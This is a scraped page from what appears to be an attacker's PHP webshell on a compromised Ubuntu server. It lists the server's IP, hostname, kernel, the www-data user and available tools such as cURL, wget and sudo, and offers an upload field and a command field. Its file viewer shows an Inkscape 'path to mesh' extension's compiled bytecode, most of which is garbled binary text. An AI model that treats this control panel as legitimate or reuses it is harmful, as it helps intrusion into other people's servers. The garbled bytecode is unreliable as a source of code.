403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/__pycache__/path_mesh_p2m.cpython-310.pyc
o

5�af
�@sTdZddlZddlmZmZddlmZGdd�dej�Ze	dkr(e��
�dSdS)z
Convert path to mesh gradient
�N)�Line�Curve)�MeshGradientc@s>eZdZdZdd�Zdd�Zdd�Zdd	d
�Zedd��Z	d
S)�
PathToMeshz#Convert path data to mesh geometry.cCs|jddd�dS)Nz--tabzThe selected UI-tab)�help)�add_argument)�self�pars�r
�//usr/share/inkscape/extensions/path_mesh_p2m.py�
add_argumentsszPathToMesh.add_argumentscCs |jj�|�|�d�|��S)z0Add meshgradient definition to current document.�meshgradient)�svg�defs�append�
set_random_id�get_id)rr
r
r
r�add_mesh s
zPathToMesh.add_meshcCsn|jj�tj�D],}d}d}d}|j��}|dur|�||�}|dur(|�|�}|dur4d�	|�|j
d<qdS)z3Main routine to convert path data to mesh geometry.Nzurl(#{})�fill)r�	selection�filter�inkex�PathElement�path�to_superpath�to_meshr�format�style)r�node�cspr
�mesh_idr
r
r�effect&s

��zPathToMesh.effectrcCsV|�||�\}}|j�d�dg}tj|dddd�}|dd�|dd�|�|S)z%Convert csp to meshgradient geometry.rz#ffffffr�)�pos�rows�cols�)�to_meshdatar�getr�new_mesh�stops)rrr�subpath�corners�edges�colorsr
r
r
rr:s
zPathToMesh.to_meshcCs�t|�dkrrg}g}t|dd��D]_\}}|�|d�t||�t||d�g}t|dd�|dd<t|dd�|dd<tj�|d|d�rZ|�t|dd��q|�t|dd|dd|dd��q||fS)z/Convert csp subpath to corners, edge path data.�Nr&r"r�)	�len�	enumerater�listr�CubicSuperPath�is_linerr)r+r,r-�i�corner�edger
r
rr'Fs0zPathToMesh.to_meshdataN)r)
�__name__�
__module__�__qualname__�__doc__rrr!r�staticmethodr'r
r
r
rrs
r�__main__)r<r�inkex.pathsrr�inkex.elementsr�EffectExtensionrr9�runr
r
r
r�<module>s=�

Youez - 2016 - github.com/yon3zu
LinuXploit